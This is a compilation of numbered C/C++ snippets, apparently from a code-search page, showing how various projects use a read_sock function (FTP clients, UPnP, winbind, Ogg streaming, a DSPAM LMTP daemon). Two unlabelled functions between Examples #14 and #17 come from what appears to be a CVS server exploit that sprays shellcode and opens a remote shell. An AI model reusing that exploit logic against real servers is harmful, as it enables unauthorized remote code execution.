Example #1
0
/* 
 * FTP GET HOME DIR function.  Issues a "CWD ~" and "PWD" to 
 * force the ftp daemon to print our our current directory.
 */
char *ftp_gethomedir(int sock)
{
    char *recvbuf;
    char *homedir = NULL;
  
    write_sock(sock, "CWD ~\n");
    recvbuf = read_sock(sock);

    if(atoi(recvbuf) == 250)
    {
	write_sock(sock, "PWD\n");
	recvbuf = read_sock(sock);

	if(atoi(recvbuf) == 257)
	{
	    char *front, *back;

	    front = strchr(recvbuf, '"');
	    front++;
	    back = strchr(front, '"');
	    
	    homedir = Malloc((back - front) * sizeof(char));
	    strncpy(homedir, front, (back - front));
	    homedir[(back - front)] = 0x0;
	}
    }

    free(recvbuf);
    return homedir;
}
Example #2
0
static void server(int fd)
{
    char buf[70000];
    unsigned *ibuf = (unsigned *)buf;
    uint32_t n;

    signal(SIGPIPE, SIG_IGN);

    printf("^");
    fflush(stdout);

    while (1) {
        if (read_sock(fd, buf, 4) != 4) break;
        n = ntohl(ibuf[0]);
        if (n+4 >= sizeof(buf)) {
            printf("overflow in server!\n");
            exit(1);
        }
        if (read_sock(fd, buf+4, n) != (int)n) break;
        n = ntohl(ibuf[1]);
        ibuf[0] = htonl(n);
        if (write_sock(fd, buf, n+4) != (int)(n+4)) break;
    }

    exit(0);
}
Example #3
0
int readjpeg(int sock, unsigned char **buf,struct frame_t *headerframe,struct client_t *message,int statOn)
{
 	
	int byteread,bytewrite;
	
	bytewrite = write_sock(sock,(unsigned char*)message,sizeof(struct client_t));
	// is sleeping ?
	if ((byteread= read_sock(sock,(unsigned char*)headerframe,sizeof(struct frame_t))) < 0){
	printf("Seem server is gone !! try later \n");
	goto error;
	}

	if(statOn)
		printf (" key %s nb %d width %d height %d times %dms size %d \n",headerframe->header,
		headerframe->nbframe,headerframe->w,headerframe->h,headerframe->deltatimes,headerframe->size);
	if(headerframe->size && !headerframe->wakeup){
	//if(headerframe->size){
			*buf=(unsigned char*) realloc(*buf,headerframe->size);
			if((byteread = read_sock(sock,*buf,headerframe->size)) < 0){
			printf("Seem server is gone !! try later \n");
			goto error;}
		}
		//printf("buf read %d \n",byteread);
	if(headerframe->acknowledge)
			reset_callbackmessage(message);
		usleep(5000);
	return ((headerframe->wakeup)?0:(headerframe->size));
	//return (headerframe->size);
error:
return -1;
}
Example #4
0
int scorched3d_recv(int sd, u_char *pck, int pcksz, u_char *buff, int buffsz) {
    int     len,
            unzlen;

    read_sock(sd, (u_char *)&len, 4);
    len = ntohl(len);

    read_sock(sd, (u_char *)&unzlen, 4);
    unzlen = ntohl(unzlen);

    read_sock(sd, pck, len - 4);

    if(unzlen > buffsz) return(0);
    len = unzip(pck, pcksz, buff, unzlen);
    return(len);
}
Example #5
0
 object *socket::read(integer *size)
 {
     if (socket_val < 0)
     {
         exceptions::SocketError *exc = exceptions::SocketError::Create(
             1,
             new string("Socket already closed.")
         );
         exc->throw_exception();
     }
     
     char buf[size->val + 1];
     int ret = read_sock(socket_val, buf, size->val);
     if (ret < 0 && errno != EAGAIN)
     {
         exceptions::SocketError *exc = exceptions::SocketError::Create(
             1,
             new string("Error encountered while reading data.")
         );
         exc->throw_exception();
     }
     else if (ret == 0)
     {
         return NULL;
     }
     else
     {
         buf[ret] = 0;
     }
     
     return new string(buf);
 }
Example #6
0
/* Read data from socket until end of header of error occurs */
static int
read_header(UPNP_CONTEXT *context, struct upnp_method *methods)
{
	int buf_size;
	int n;

	while (get_msghdr(context)) {
		/* check buffer size */
		buf_size = sizeof(context->buf) - context->end;
		if (buf_size <= 0) {
			upnp_syslog(LOG_ERR, "Cannot get enough buffer");
			context->status = R_BAD_REQUEST;
			break;
		}

		/* read socket into the buffer */
		n = read_sock(context->fd, &context->buf[context->end], buf_size, 0);
		if (n <= 0) {
			context->status = R_ERROR;
			return -2;
		}

		/* Move end */
		context->end += n;
	}

	if (context->status != 0)
		return -1;

	context->content = &context->buf[context->index];
	context->content_len = context->end - context->index;
	return 0;
}
Example #7
0
int process_socket(int sock,int inpipe) {

    fd_set fdset; /* selected file descriptors */
    int poll,i;

    struct timeval tv;

    signal(SIGPIPE,SIG_IGN);
    signal(SIGUSR1,trap_reset);
    listen(sock,5);

    tv.tv_sec=0;
    tv.tv_usec=0;

    poll=0;
    runloop=1;
    do {

        FD_ZERO(&fdset);
        FD_SET(inpipe,&fdset);
        if (poll==0) {
            if (poll_sock(sock,NULL,&fdset) !=0) continue;
        } else poll_sock(sock,&tv,&fdset);

        /* open any new connections if possible */

        open_sock(sock,&fdset);

        poll=0;

        /* check to see if the root server has sent any data */

        if (FD_ISSET(inpipe,&fdset)) {
            int size;
            size=read(inpipe,mbuf,BUF_SIZE);
            if (size==0) break;
            write_raw(mbuf,size);
        }

        /* send the data to the clients */

        if (write_sock() !=0) poll=1;

        /* read back any data from the clients */

        read_sock(&fdset,tmpbuf,BUF_SIZE);

        /* decode the buffers here */

    } while(runloop);

    /* close all the clients down */

    for (i=0; i<msgmax; i++) {
        if (client[i].sock !=0) close(client[i].sock);
    }
    close(sock);
    return -1;
}
Example #8
0
int read_reply(struct winbindd_response *response)
{
	int result1, result2 = 0;

	if (!response) {
		return -1;
	}
	
	/* Read fixed length response */
	
	if ((result1 = read_sock(response, sizeof(struct winbindd_response)))
	    == -1) {
		
		return -1;
	}
	
	/* We actually send the pointer value of the extra_data field from
	   the server.  This has no meaning in the client's address space
	   so we clear it out. */

	response->extra_data.data = NULL;

	/* Read variable length response */
	
	if (response->length > sizeof(struct winbindd_response)) {
		int extra_data_len = response->length - 
			sizeof(struct winbindd_response);
		
		/* Mallocate memory for extra data */
		
		if (!(response->extra_data.data = malloc(extra_data_len))) {
			return -1;
		}
		
		if ((result2 = read_sock(response->extra_data.data, extra_data_len))
		    == -1) {
			free_response(response);
			return -1;
		}
	}
	
	/* Return total amount of data read */
	
	return result1 + result2;
}
Example #9
0
/*
 * FTP QUIT function.  Issues a "QUIT" to terminate the connection.
 */
int ftp_quit(int sock)
{
    char *recvbuf;
   
    write_sock(sock, "QUIT\n");
    recvbuf = read_sock(sock);
    free(recvbuf);
      
    close(sock);
    return 1;
}
Example #10
0
/*
 * FTP LOGIN function.  Issues a "USER <username> and then "PASS <password>"
 * to login to the remote host and checks that command succeeded.
 */
int ftp_login(int sock, char *username, char *password)
{
    char *recvbuf;
    char *sendbuf;
    char *header;

    header = read_sock(sock);
    printf("\tserver runs:\t%s", header);
    free(header);
    
    sendbuf = Malloc((MAXX(strlen(username), strlen(password)) + 7) * 
		     sizeof(char));

    sprintf(sendbuf, "USER %s\n", username);
    
    write_sock(sock, sendbuf);
    recvbuf = read_sock(sock);

    if(atoi(recvbuf) != 331)
    {
	free(recvbuf);
	return 0;
    }

    sprintf(sendbuf, "PASS %s\n", password);
    write_sock(sock, sendbuf);
    recvbuf = read_sock(sock);

    if(atoi(recvbuf) != 230)
    {
	free(recvbuf);
	return 0;
    }
    
    free(sendbuf);
    return 1;
   
}
Example #11
0
static int stream_connect(const char *host, int port, const char *mount,
				char *buf, char **mark) {
	char req[256], *pt, hold;
	struct hostent *hp;
	struct sockaddr_in pin;
	int sock;
	memset(&pin, 0, sizeof(pin));
	if ((hp = gethostbyname(host)) == NULL) {
		logmsg("can't resolve host %s\n", host);
		return 0;
		}
	pin.sin_family = AF_INET;
	pin.sin_addr.s_addr = ((struct in_addr *)(hp->h_addr))->s_addr;
	pin.sin_port = htons(port);
	sock = socket(AF_INET, SOCK_STREAM, 0);
	if (connect(sock, (struct sockaddr *)&pin, sizeof(pin)) == -1) {
		perror("connect");
		return 0;
		}
	sprintf(req, "GET %s HTTP/1.0\n\n", mount);
	write(sock, req, strlen(req));
	read_sock(sock, buf, BLOCKSIZE);
	pt = index(buf, '\r');
	if (pt == NULL) pt = index(buf, '\n');
	if (pt == NULL) {
		logmsg("don't see http header\n");
		close(sock);
		return 0;
		}
	hold = *pt;
	*pt = '\0';
	if (strcmp(buf, HTTP_OK) != 0) {
		logmsg("unexpected HTTP response: %s\n", buf);
		close(sock);
		return 0;
		}
	*pt = hold;
	if ((pt = strstr(buf, END_HEADER)) == NULL) {
		logmsg("HTTP header incomplete\n");
		close(sock);
		return 0;
		}
	*pt = '\0';
//	printf("%s [%ld]\n", buf, strlen(buf));
	pt += strlen(END_HEADER);
	*mark = pt;
	return sock;
	}
Example #12
0
 object *socket::read(integer *size, integer *timeout)
 {
     struct timeval timeout_struct;
     fd_set socklist;
     int ret, can_read;
     char buf[size->val + 1];
     
     timeout_struct.tv_sec = timeout->val / 1000;
     timeout_struct.tv_usec = (float)(timeout->val % 1000) / 1000.0f;
     
     if (socket_val < 0)
     {
         exceptions::SocketError *exc = exceptions::SocketError::Create(
             1,
             new string("Socket already closed.")
         );
         exc->throw_exception();
     }
     
     FD_ZERO(&socklist);
     FD_SET(socket_val, &socklist);
     can_read = select(FD_SETSIZE, &socklist, NULL, NULL, &timeout_struct);
     if (can_read <= 0)
     {
         return NULL;
     }
     
     ret = read_sock(socket_val, buf, size->val);
     if (ret < 0 && errno != EAGAIN)
     {
         exceptions::SocketError *exc = exceptions::SocketError::Create(
             1,
             new string("Error encountered while reading data.")
         );
         exc->throw_exception();
     }
     else if (ret == 0)
     {
         return NULL;
     }
     else
     {
         buf[ret] = 0;
     }
     
     return new string(buf);
 }
Example #13
0
/* Read body data from socket */
static int
read_body(UPNP_CONTEXT *context, struct upnp_method *methods)
{
	char *content_len_p;
	int len;
	int diff;
	int n;

	/* NULL ended the body */
	context->content[context->content_len] = '\0';
	content_len_p = context->CONTENT_LENGTH;
	if (content_len_p == 0) {
		/* body could be empty */
		return 0;
	}
	else {
		len = atoi(content_len_p);
		if (len == 0) {
			return 0;
		}
		else if (len < 0) {
			context->status = R_BAD_REQUEST;
			return -1;
		}
		else if (context->content + len >=
			context->buf + sizeof(context->buf)) {
			context->status = R_ERROR;
			return -1;
		}
	}

	/* Receive remainder */
	while ((diff = len - context->content_len) > 0) {
		n = read_sock(context->fd,
			&context->content[context->content_len], diff, 0);
		if (n <= 0) {
			context->status = R_ERROR;
			return -2;
		}

		context->content_len += n;
	}

	/* NULL ended the body */
	context->content[context->content_len] = '\0';
	return 0;
}
Example #14
0
int main(int argc, char *argv[]) {

	signal(SIGINT, sighandler);
	int retcode;

	struct sockaddr_in server_sockaddr;
	unsigned short server_port;
	char *server_addr;

	if (argc < 3 || argc > 3) {
		usage();
	}

	server_addr = argv[1];
	server_port = atoi(argv[2]);

	client_socket = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
	handle_error(client_socket, "socket failed", PROCESS_EXIT);

	memset(&server_sockaddr, 0, sizeof(server_sockaddr));
	server_sockaddr.sin_family = AF_INET;
	server_sockaddr.sin_addr.s_addr = inet_addr(server_addr);
	server_sockaddr.sin_port = htons(server_port);

	retcode = connect(client_socket,(struct sockaddr *) &server_sockaddr,sizeof(server_sockaddr));
	handle_error(retcode,"connect failed",PROCESS_EXIT);

	printf("Mit Server verbunden\n");

	char receive_string[BUF_SIZE];
	char send_string[BUF_SIZE];

	while (1){

		memset(send_string, '\0', BUF_SIZE);
		retcode = fgets(send_string, BUF_SIZE ,stdin);

		write_sock(client_socket, send_string, strlen(send_string));

		memset(receive_string, '\0', BUF_SIZE);
		retcode = read_sock(client_socket, receive_string, BUF_SIZE);

		printf("%s\n", receive_string);

	}
}
void                    try_exploit(void)
{
    time_t              last, now;
    int                 i, j, len, o;
    static char         sc[SCSIZE+1];

    for (i = 0; i < OFFSET; i++)
        zprintf(CVS_ISMOD"AB\n");
    printf("[", SCSIZE * scnum / 1024);
    for (i = 0; i < PCNT; i++)
        putchar(' ');
    printf("]");
    for (i = 0; i < PCNT + 1; i++)
        printf("\b");
    memset(sc, 'A', SCSIZE);
    memcpy(sc + SCSIZE - sizeof(xx_shellcode), xx_shellcode,
           sizeof(xx_shellcode));
    sc[SCSIZE] = 0;
    last = o = 0;
    for (i = 0; i < scnum; i++)
        {
            now = time(NULL);
            if (now > last || (i + 1 == scnum))
                {
                    last = now;
                    for (j = 0; j < o; j++)
                        printf("\b");
                    for (j = 0; j < (o = ((i+1) * PCNT / scnum)); j++)
                        printf("#");
                }
            zprintf(CVSENTRY"%s\n", sc);
        }
    printf("] ");
    zflush(0);
    zflush(1);
    len = read_sock(sc, sizeof(sc));
    for (i = 0; i < len; i++)
        if (!memcmp(sc + i, ABMAGIC, ABMAGICSZ))
            {
                printf(EXPLOITROX);
                sh(sock);
            }
    printf(BAD_TRIP);
}
int                     zgetch(void)
{
    static char         * outbuf = NULL;
    static int          outpos = 0, outlen = 0;
    static char         rcvbuf[32768];
    static char         dbuf[4096];
    int                 got;

  retry:
    if (outpos < outlen && outlen)
        return outbuf[outpos++];
    free(outbuf);
    outlen = 0;
    outbuf = NULL;
    got = read_sock(rcvbuf, sizeof(rcvbuf));
    if (got <= 0)
        QUIT(ERR_READSOCK);
    zin.next_in = rcvbuf;
    zin.avail_in = got;
    while (1)
        {
            int status, dlen;

            zin.next_out = dbuf;
            zin.avail_out = sizeof(dbuf);
            status = inflate(&zin, Z_PARTIAL_FLUSH);
            switch (status)
                {
                case Z_OK:
                    outpos = 0;
                    dlen = sizeof(dbuf) - zin.avail_out;
                    outlen += dlen;
                    outbuf = realloc(outbuf, outlen);
                    memcpy(outbuf + outlen - dlen, dbuf, dlen);
                    break;
                case Z_BUF_ERROR:
                    goto retry;
                default:
                    QUIT(ERR_INFLATE);
                }
        }
}
Example #17
0
static int vorbis_headers(VORBIS_FEED *feed) {
	int n, res;
	char *oggbuf;
	n = 0;
	while (n < 2) {
		while (n < 2) {
			res = ogg_sync_pageout(&(feed->oy), &(feed->og));
			if (res == 0 ) break;
			if (res == 1) {
				ogg_stream_pagein(&(feed->os), &(feed->og));
				while (n < 2) {
					res = ogg_stream_packetout(
							&(feed->os),
							&(feed->op));
					if (res == 0) break;
					if (res < 0) {
						logmsg("corrupt secondary header\n");
						free_vorbis((FEED *)feed);
						return 0;
						}
					res = vorbis_synthesis_headerin(
							&(feed->vi),
							&(feed->vc),
							&(feed->op));
					if (res < 0) {
						logmsg("corrupt secondary header[2]\n");
						free_vorbis((FEED *)feed);
						return 0;
						}
					n++;
					}
				}
			}
		oggbuf = ogg_sync_buffer(&(feed->oy), BLOCKSIZE);
		read_sock(feed->base.sock, oggbuf, BLOCKSIZE);
		ogg_sync_wrote(&(feed->oy), BLOCKSIZE);
		}
	return 1;
	}
Example #18
0
/*
 * FTP CWD function.  Issues a "CWD <dirname>" to change directory on
 * the remote host and checks that the command succeeded.
 */
int ftp_chdir(int sock, char *dirname)
{
    char *recvbuf;
    char *sendbuf;
  
    sendbuf = Malloc((strlen(dirname) + 6) * sizeof(char));
    sprintf(sendbuf, "CWD %s\n", dirname);
    
    write_sock(sock, sendbuf);
    recvbuf = read_sock(sock);
    
    free(sendbuf);

    if(atoi(recvbuf) == 250)
    {
	free(recvbuf);
	return 1;
    }

    free(recvbuf);
    return 0;
}
Example #19
0
                object *socket::readline()
                {
                    std::string buf;
                    int ret, idx = 0;
                    string *rval;

                    if (socket_val < 0)
                    {
                        exceptions::SocketError *exc = exceptions::SocketError::Create(
                            1,
                            new string("Socket already closed.")
                        );
                        exc->throw_exception();
                    }

                    do 
                    {
                        char c[2];
                        c[1] = 0;
                        ret = read_sock(socket_val, c, 1);
                        if (ret < 0 && errno != EAGAIN) 
                        {
                            exceptions::SocketError *exc = exceptions::SocketError::Create(
                                1,
                                new string("Problem reading data.")
                            );
                            exc->throw_exception();
                        } 
                        else if (ret == 0 || errno == EAGAIN) 
                        {
                            break;
                        }
                        buf += c;
                    } while(buf[buf.size() - 1] != '\n');

                    return new string(buf.c_str());
                }
Example #20
0
void *process_connection(void *ptr) {
    char *server_ident = _ds_read_attribute(agent_config, "ServerIdent");
    THREAD_CTX *TTX = (THREAD_CTX *) ptr;
    AGENT_CTX *ATX = NULL;
    char *input, *cmdline = NULL, *token, *ptrptr;
    buffer *message = NULL;
    char *parms=NULL, *p=NULL;
    int i, locked = -1, invalid = 0;
    int server_mode = SSM_DSPAM;
    char *argv[64];
    char buf[1024];
    int tries = 0;
    int argc = 0;
    FILE *fd = 0;

    if (_ds_read_attribute(agent_config, "ServerMode") &&
            !strcasecmp(_ds_read_attribute(agent_config, "ServerMode"), "standard"))
    {
        server_mode = SSM_STANDARD;
    }

    if (_ds_read_attribute(agent_config, "ServerMode") &&
            !strcasecmp(_ds_read_attribute(agent_config, "ServerMode"), "auto"))
    {
        server_mode = SSM_AUTO;
    }

    /* Initialize a file descriptor hook for dspam to use as stdout */

    fd = fdopen(TTX->sockfd, "w");
    if (!fd) {
        close(TTX->sockfd);
        goto CLOSE;
    }
    setbuf(fd, NULL);

    TTX->packet_buffer = buffer_create(NULL);
    if (TTX->packet_buffer == NULL)
        goto CLOSE;

    /*
     *  Send greeting banner
     *  in auto mode, we want to look like a regular LMTP server so we don't
     *  cause any compatibility problems. in dspam mode, we can change this.
     */

    snprintf(buf, sizeof(buf), "%d DSPAM %sLMTP %s %s",
             LMTP_GREETING,
             (server_mode == SSM_DSPAM) ? "D" : "",
             VERSION,
             (server_mode == SSM_DSPAM) ? "Authentication Required" : "Ready");
    if (send_socket(TTX, buf)<=0)
        goto CLOSE;

    TTX->authenticated = 0;

    /* LHLO */

    input = daemon_expect(TTX, "LHLO");
    if (input == NULL)
        goto CLOSE;
    if (server_mode == SSM_AUTO && input[4]) {
        char buff[128];

        /*
         *  Auto-detect the server mode based on whether or not the ident is
         *  assigned a password in dspam.conf
         */

        snprintf(buff, sizeof(buff), "ServerPass.%s", input + 5);
        chomp(buff);
        if (_ds_read_attribute(agent_config, buff))
            server_mode = SSM_DSPAM;
        else
            server_mode = SSM_STANDARD;
    }
    free(input);

    /* Advertise extensions */

    if (daemon_extension(TTX, (server_ident) ? server_ident :
                         "localhost.localdomain")<=0)
        goto CLOSE;

    if (daemon_extension(TTX, "PIPELINING")<=0)
        goto CLOSE;

    if (daemon_extension(TTX, "ENHANCEDSTATUSCODES")<=0)
        goto CLOSE;

    if (server_mode == SSM_DSPAM)
        if (daemon_extension(TTX, "DSPAMPROCESSMODE")<=0)
            goto CLOSE;

    if (daemon_extension(TTX, "8BITMIME")<=0)
        goto CLOSE;

    if (daemon_reply(TTX, LMTP_OK, "", "SIZE")<=0)
        goto CLOSE;

    /* Main protocol loop */

    while(1) {
        char processmode[256];
        parms = NULL;

        /* Configure a new agent context for each pass */

        ATX = calloc(1, sizeof(AGENT_CTX));
        if (ATX == NULL) {
            LOG(LOG_CRIT, ERR_MEM_ALLOC);
            daemon_reply(TTX, LMTP_TEMP_FAIL, "4.3.0", ERR_MEM_ALLOC);
            goto CLOSE;
        }

        if (initialize_atx(ATX)) {
            LOG(LOG_ERR, ERR_AGENT_INIT_ATX);
            daemon_reply(TTX, LMTP_BAD_CMD, "5.3.0", ERR_AGENT_INIT_ATX);
            goto CLOSE;
        }

        /* MAIL FROM (and authentication, if SSM_DSPAM) */

        processmode[0] = 0;
        while(!TTX->authenticated) {
            input = daemon_expect(TTX, "MAIL FROM");

            if (RSET(input))
                goto RSET;

            if (input == NULL)
                goto CLOSE;
            else {
                char *pass, *ident;
                chomp(input);

                if (server_mode == SSM_STANDARD) {
                    TTX->authenticated = 1;

                    ATX->mailfrom[0] = 0;
                    _ds_extract_address(ATX->mailfrom, input, sizeof(ATX->mailfrom));

                    if (daemon_reply(TTX, LMTP_OK, "2.1.0", "OK")<=0) {
                        free(input);
                        goto CLOSE;
                    }
                } else {
                    char id[256];
                    pass = ident = NULL;
                    id[0] = 0;
                    if (!_ds_extract_address(id, input, sizeof(id))) {
                        pass = strtok_r(id, "@", &ptrptr);
                        ident = strtok_r(NULL, "@", &ptrptr);
                    }

                    if (pass && ident) {
                        char *serverpass;
                        char *ptr, *ptr2, *ptr3;

                        snprintf(buf, sizeof(buf), "ServerPass.%s", ident);
                        serverpass = _ds_read_attribute(agent_config, buf);

                        snprintf(buf, sizeof(buf), "ServerPass.%s", ident);
                        if (serverpass && !strcmp(pass, serverpass)) {
                            TTX->authenticated = 1;

                            /* Parse PROCESSMODE service tag */

                            ptr = strstr(input, "DSPAMPROCESSMODE=\"");
                            if (ptr) {
                                char *mode;
                                int i;
                                ptr2 = strchr(ptr, '"')+1;
                                mode = ptr2;
                                while((ptr3 = strstr(ptr2, "\\\"")))
                                    ptr2 = ptr3+2;
                                ptr3 = strchr(ptr2+2, '"');
                                if (ptr3)
                                    ptr3[0] = 0;
                                strlcpy(processmode, mode, sizeof(processmode));

                                ptr = processmode;
                                for(i=0; ptr[i]; i++) {
                                    if (ptr[i] == '\\' && ptr[i+1] == '"') {
                                        strcpy(ptr+i, ptr+i+1);
                                    }
                                }
                                LOGDEBUG("process mode: '%s'", processmode);
                            }

                            if (daemon_reply(TTX, LMTP_OK, "2.1.0", "OK")<=0) {
                                free(input);
                                goto CLOSE;
                            }
                        }
                    }
                }

                free(input);
                if (!TTX->authenticated) {
                    LOGDEBUG("fd %d authentication failure.", TTX->sockfd);

                    if (daemon_reply(TTX, LMTP_AUTH_ERROR, "5.1.0",
                                     "Authentication Required")<=0)
                    {
                        free(input);
                        goto CLOSE;
                    }

                    tries++;
                    if (tries>=3) {
                        struct timeval tv;
                        tv.tv_sec = 5;
                        tv.tv_usec = 0;
                        select(0, NULL, NULL, NULL, &tv);
                        goto CLOSE;
                    }
                }
            }
        }

        /* MAIL FROM response */

        snprintf(buf, sizeof(buf), "%d OK", LMTP_OK);

        argc = 1;
        argv[0] = "dspam";
        argv[1] = 0;

        /* Load open-LMTP configuration parameters */

        if (server_mode == SSM_STANDARD) {
            parms = _ds_read_attribute(agent_config, "ServerParameters");
            if (parms) {
                p = strdup(parms);
                if (p) {
                    token = strtok_r(p, " ", &ptrptr);
                    while(token != NULL && argc<63) {
                        argv[argc] = token;
                        argc++;
                        argv[argc] = 0;
                        token = strtok_r(NULL, " ", &ptrptr);
                    }
                }
            }
        }

        /* RCPT TO */

        while(ATX->users->items == 0 || invalid) {
            free(cmdline);
            cmdline = daemon_getline(TTX, 300);

            while(cmdline &&
                    (!strncasecmp(cmdline, "RCPT TO:", 8) ||
                     !strncasecmp(cmdline, "RSET", 4)))
            {
                char username[256];
                char *at = NULL;

                if (!strncasecmp(cmdline, "RSET", 4)) {
                    snprintf(buf, sizeof(buf), "%d OK", LMTP_OK);
                    if (send_socket(TTX, buf)<=0)
                        goto CLOSE;
                    goto RSET;
                }

                if (_ds_extract_address(username, cmdline, sizeof(username)) ||
                        username[0] == 0 || username[0] == '-' || username[0] == '@')
                {
                    if ((server_mode == SSM_DSPAM) || (server_mode == SSM_STANDARD && _ds_validate_address(username) == 0)) {
                        daemon_reply(TTX, LMTP_BAD_CMD, "5.1.2", ERR_LMTP_BAD_RCPT);
                        goto GETCMD;
                    }
                }

                if (_ds_match_attribute(agent_config, "Broken", "case"))
                    lc(username, username);

                /* Chop of @.* from the recipient */
                if (_ds_match_attribute(agent_config, "StripRcptDomain", "on")) {
                    at = strchr(username, '@');
                    if (at != NULL)
                        *at = '\0';
                }

                if (server_mode == SSM_DSPAM) {
                    nt_add(ATX->users, username);
                }
                else {
                    if (!parms || !strstr(parms, "--user "))
                        nt_add(ATX->users, username);

                    if (!ATX->recipients) {
                        ATX->recipients = nt_create(NT_CHAR);
                        if (ATX->recipients == NULL) {
                            LOG(LOG_CRIT, ERR_MEM_ALLOC);
                            goto CLOSE;
                        }
                    }
                    if (at != NULL)
                        *at = '@'; /* always add complete address (user@domain) to recipient list */
                    nt_add(ATX->recipients, username);
                }

                if (daemon_reply(TTX, LMTP_OK, "2.1.5", "OK")<=0)
                    goto CLOSE;

GETCMD:
                free(cmdline);
                cmdline = daemon_getline(TTX, 300);
            }

            if (cmdline == NULL)
                goto CLOSE;

            if (!strncasecmp(cmdline, "RSET", 4)) {
                snprintf(buf, sizeof(buf), "%d OK", LMTP_OK);
                if (send_socket(TTX, buf)<=0)
                    goto CLOSE;
                goto RSET;
            }

            if (!strncasecmp(cmdline, "quit", 4)) {
                daemon_reply(TTX, LMTP_OK, "2.0.0", "OK");
                goto CLOSE;
            }

            /* Parse DSPAMPROCESSMODE input and set up process arguments */

            if (server_mode == SSM_DSPAM && processmode[0] != 0) {
                token = strtok_r(processmode, " ", &ptrptr);
                while(token != NULL && argc<63) {
                    argv[argc] = token;
                    argc++;
                    argv[argc] = 0;
                    token = strtok_r(NULL, " ", &ptrptr);
                }
            }

            invalid = 0;
            if (process_arguments(ATX, argc, argv) || apply_defaults(ATX))
            {
                LOG(LOG_ERR, ERR_AGENT_INIT_ATX);
                daemon_reply(TTX, LMTP_NO_RCPT, "5.1.0", ERR_AGENT_INIT_ATX);
                invalid = 1;
            } else if (ATX->users->items == 0) {
                daemon_reply(TTX, LMTP_NO_RCPT, "5.1.1", ERR_AGENT_USER_UNDEFINED);
            }
        }

        ATX->sockfd = fd;
        ATX->sockfd_output = 0;

        /* Something's terribly misconfigured */

        if (check_configuration(ATX)) {
            LOG(LOG_ERR, ERR_AGENT_MISCONFIGURED);
            daemon_reply(TTX, LMTP_BAD_CMD, "5.3.5", ERR_AGENT_MISCONFIGURED);
            goto CLOSE;
        }

        /* DATA */

        if (cmdline != NULL) {
            if (strncasecmp(cmdline, "DATA", 4)) {
                if (daemon_reply(TTX, LMTP_BAD_CMD, "5.0.0", "Need DATA Here")<0)
                    goto CLOSE;
                input = daemon_expect(TTX, "DATA");
                if (input == NULL)
                    goto CLOSE;
                if (RSET(input))
                    goto RSET;
            }
        }

        if (daemon_reply(TTX, LMTP_DATA, "", INFO_LMTP_DATA)<=0)
            goto CLOSE;

        /*
         *  Read in the message from a DATA. I personally like to just hang up on
         *  a client stupid enough to pass in a NULL message for DATA, but you're
         *  welcome to do whatever you want.
         */

        message = read_sock(TTX, ATX);
        if (message == NULL || message->data == NULL || message->used == 0) {
            daemon_reply(TTX, LMTP_FAILURE, "5.2.0", ERR_LMTP_MSG_NULL);
            goto CLOSE;
        }

        /*
         *  Lock a database handle. We currently use the modulus of the socket
         *  id against the number of database connections in the cache. This
         *  seems to work rather well, as we would need to lock up the entire
         *  cache to wrap back around. And if we do wrap back around, that means
         *  we're busy enough to justify spinning on the current lock (vs. seeking
         *  out a free handle, which there likely are none).
         */

        i = (TTX->sockfd % TTX->DTX->connection_cache);
        LOGDEBUG("using database handle id %d", i);
        if (TTX->DTX->flags & DRF_RWLOCK) {
            if (ATX->operating_mode == DSM_CLASSIFY ||
                    ATX->training_mode == DST_NOTRAIN   ||
                    (ATX->training_mode == DST_TOE && ATX->classification == DSR_NONE))
            {
                pthread_rwlock_rdlock(&TTX->DTX->connections[i]->rwlock);
            } else {
                pthread_rwlock_wrlock(&TTX->DTX->connections[i]->rwlock);
            }
        } else {
            pthread_mutex_lock(&TTX->DTX->connections[i]->lock);
        }
        LOGDEBUG("handle locked");
        ATX->dbh = TTX->DTX->connections[i]->dbh;
        locked = i;

        /* Process the message by tying back into the agent functions */

        ATX->results = nt_create(NT_PTR);
        if (ATX->results == NULL) {
            LOG(LOG_CRIT, ERR_MEM_ALLOC);
            goto CLOSE;
        }
        process_users(ATX, message);

        /*
         *  Unlock the database handle as soon as we're done. We also need to
         *  refresh our handle index with a new handle if for some reason we
         *  had to re-establish a dewedged connection.
         */

        if (TTX->DTX->connections[locked]->dbh != ATX->dbh)
            TTX->DTX->connections[locked]->dbh = ATX->dbh;

        if (TTX->DTX->flags & DRF_RWLOCK) {
            pthread_rwlock_unlock(&TTX->DTX->connections[locked]->rwlock);
        } else {
            pthread_mutex_unlock(&TTX->DTX->connections[locked]->lock);
        }
        locked = -1;

        /* Send a terminating '.' if --stdout in 'dspam' mode */

        if (ATX->sockfd_output) {
            if (send_socket(TTX, ".")<=0)
                goto CLOSE;

            /* Otherwise, produce standard delivery results */

        } else {
            struct nt_node *node_nt, *node_res = NULL;
            struct nt_c c_nt;
            if (ATX->recipients)
                node_nt = c_nt_first(ATX->recipients, &c_nt);
            else
                node_nt = c_nt_first(ATX->users, &c_nt);

            if (ATX->results)
                node_res = ATX->results->first;

            while(node_res && node_nt != NULL) {
                agent_result_t result = (agent_result_t) node_res->ptr;

                if (result != NULL && result->exitcode == ERC_SUCCESS)
                {
                    if (server_mode == SSM_DSPAM) {
                        snprintf(buf, sizeof(buf),
                                 "%d 2.6.0 <%s> Message accepted for delivery: %s",
                                 LMTP_OK, (char *) node_nt->ptr,
                                 (result->classification == DSR_ISSPAM) ? "SPAM" : "INNOCENT");
                    } else {
                        snprintf(buf, sizeof(buf),
                                 "%d 2.6.0 <%s> Message accepted for delivery",
                                 LMTP_OK, (char *) node_nt->ptr);
                    }
                }
                else
                {
                    if (result != NULL && result->exitcode == ERC_PERMANENT_DELIVERY) {
                        snprintf(buf, sizeof(buf), "%d 5.3.0 <%s> %s",
                                 LMTP_FAILURE, (char *) node_nt->ptr,
                                 (result->text[0]) ? result->text : "Permanent error occured");
                    } else {
                        if (result != NULL && result->text[0]) {
                            snprintf(buf, sizeof(buf),
                                     "%d 4.3.0 <%s> %s",
                                     LMTP_TEMP_FAIL, (char *) node_nt->ptr, result->text);
                        } else {
                            snprintf(buf, sizeof(buf),
                                     "%d 4.3.0 <%s> Error occured during %s",
                                     LMTP_TEMP_FAIL, (char *) node_nt->ptr,
                                     (result != NULL && result->exitcode == ERC_DELIVERY) ? "delivery" : "processing");
                        }
                    }
                }

                if (send_socket(TTX, buf)<=0)
                    goto CLOSE;
                if (ATX->recipients)
                    node_nt = c_nt_next(ATX->recipients, &c_nt);
                else
                    node_nt = c_nt_next(ATX->users, &c_nt);
                if (node_res)
                    node_res = node_res->next;
            }
        }

        /* Cleanup and get ready for another message */

RSET:
        fflush(fd);

        buffer_destroy(message);
        message = NULL;
